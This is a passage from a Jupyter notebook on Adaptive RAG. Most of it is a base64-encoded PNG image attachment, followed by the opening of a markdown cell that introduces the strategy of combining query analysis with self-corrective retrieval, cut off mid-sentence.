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Im0ggAACCCCAAAIIIIAAAggggAACCCCAAAI+EyB47LMLynAQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEvBAgee6FIGwgggAACCCCAAAIIIIAAAggggAACCCCAgM8ECB777IIyHAQQQAABBBBAAAEEEEAAAQQQQAABBBBAwAsBgsdeKNIGAggggAACCCCAAAIIIIAAAggggAACCCDgMwGCxz67oAwHAQQQQAABBBBAAAEEEEAAAQQQQAABBBDwQoDgsReKtIEAAggggAACCCCAAAIIIIAAAggggAACCPhMgOCxzy4ow0EAAQQQQAABBBBAAAEEEEAAAQQQQAABBLwQIHjshSJtIIAAAggggAACCCCAAAIIIIAAAggggAACPhMgeOyzC8pwEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABLwQIHnuhSBsIIIAAAggggAACCCCAAAIIIIAAAggggIDPBAge++yCMhwEEEAAAQQQQAABBBBAAAEEEEAAAQQQQMALAYLHXijSBgIIIIAAAggggAACCCCAAAIIIIAAAggg4DMBgsc+u6AMBwEEEEAAAQQQQAABBBBAAAEEEEAAAQQQ8EKA4LEXirSBAAIIIIAAAggggAACCCCAAAIIIIAAAgj4TIDgsc8uKMNBAAEEEEAAAQQQQAABBBBAAAEEEEAAAQS8ECB47IUibSCAAAIIIIAAAggggAACCCCAAAIIIIAAAj4TIHjsswvKcBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAS8ECB57oUgbCCCAAAIIIIAAAggggAACCCCAAAIIIICAzwQIHvvsgjIcBBBAAAEEEEAAAQQQQAABBBBAAAEEEEDACwGCx14o0gYCCCCAAAIIIIAAAggggAACCCCAAAIIIOAzAYLHPrugDAcBBBBAAAEEEEAAAQQQQAABBBBAAAEEEPBCgOCxF4q0gQACCCCAAAIIIIAAAggggAACCCCAAAII+EyA4LHPLijDQQABBBBAAAEEEEAAAQQQQAABBBBAAAEEvBAgeOyFIm0ggAACCCCAAAIIIIAAAggggAACCCCAAAI+EyB47LMLynAQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEvBAgee6FIGwgggAACCCCAAAIIIIAAAggggAACCCCAgM8ECB777IIyHAQQQAABBBBAAAEEEEAAAQQQQAABBBBAwAsBgsdeKNIGAggggAACCCCAAAIIIIAAAggggAACCCDgMwGCxz67oAwHAQQQQAABBBBAAAEEEEAAAQQQQAABBBDwQoDgsReKtIEAAggggAACCCCAAAIIIIAAAggggAACCPhMgOCxzy4ow0EAAQQQQAABBBBAAAEEEEAAAQQQQAABBLwQIHjshSJtIIAAAggggAACCCCAAAIIIIAAAggggAACPhMgeOyzC8pwEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABLwQIHnuhSBsIIIAAAggggAACCCCAAAIIIIAAAggggIDPBAge++yCMhwEEEAAAQQQQAABBBBAAAEEEEAAAQQQQMALAYLHXijSBgIIIIAAAggggAACCCCAAAIIIIAAAggg4DMBgsc+u6AMBwEEEEAAAQQQQAABBBBAAAEEEEAAAQQQ8EKA4LEXirSBAAIIIIAAAggggAACCCCAAAIIIIAAAgj4TIDgsc8uKMNBAAEEEEAAAQQQQAABBBBAAAEEEEAAAQS8ECB47IUibSCAAAIIIIAAAggggAACCCCAAAIIIIAAAj4TIHjsswvKcBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAS8ECB57oUgbCCCAAAIIIIAAAggggAACCCCAAAIIIICAzwQIHvvsgjIcBBBAAAEEEEAAAQQQQAABBBBAAAEEEEDACwGCx14o0gYCCCCAAAIIIIAAAggggAACCCCAAAIIIOAzAYLHPrugDAcBBBBAAAEEEEAAAQQQQAABBBBAAAEEEPBCgOCxF4q0gQACCCCAAAIIIIAAAggggAACCCCAAAII+EyA4LHPLijDQQABBBBAAAEEEEAAAQQQQAABBBBAAAEEvBAgeOyFIm0ggAACCCCAAAIIIIAAAggggAACCCCAAAI+EyB47LMLynAQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEvBAgee6FIGwgggAACCCCAAAIIIIAAAggggAACCCCAgM8ECB777IIyHAQQQAABBBBAAAEEEEAAAQQQQAABBBBAwAsBgsdeKNIGAggggAACCCCAAAIIIIAAAggggAACCCDgMwGCxz67oAwHAQQQQAABBBBAAAEEEEAAAQQQQAABBBDwQoDgsReKtIEAAggggAACCCCAAAIIIIAAAggggAACCPhMgOCxzy4ow0EAAQQQQAABBBBAAAEEEEAAAQQQQAABBLwQIHjshSJtIIAAAggggAACCCCAAAIIIIAAAggggAACPhMgeOyzC8pwEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABLwQIHnuhSBsIIIAAAggggAACCCCAAAIIIIAAAggggIDPBAge++yCMhwEEEAAAQQQQAABBBBAAAEEEEAAAQQQQMALAYLHXijSBgIIIIAAAggggAACCCCAAAIIIIAAAggg4DMBgsc+u6AMBwEEEEAAAQQQQAABBBBAAAEEEEAAAQQQ8ELg/wABeVFCm0WIogAAAABJRU5ErkJggg==" + } + }, + "cell_type": "markdown", + "id": "5afcaed0-3d55-4e1f-95d3-c32c751c29d8", + "metadata": { + "jp-MarkdownHeadingCollapsed": true + }, + "source": [ + "# Adaptive RAG\n", + "\n", + "Adaptive RAG is a strategy for RAG that unites (1) [query analysis](https://blog.langchain.dev/query-construction/) with (2) [active / self-corrective 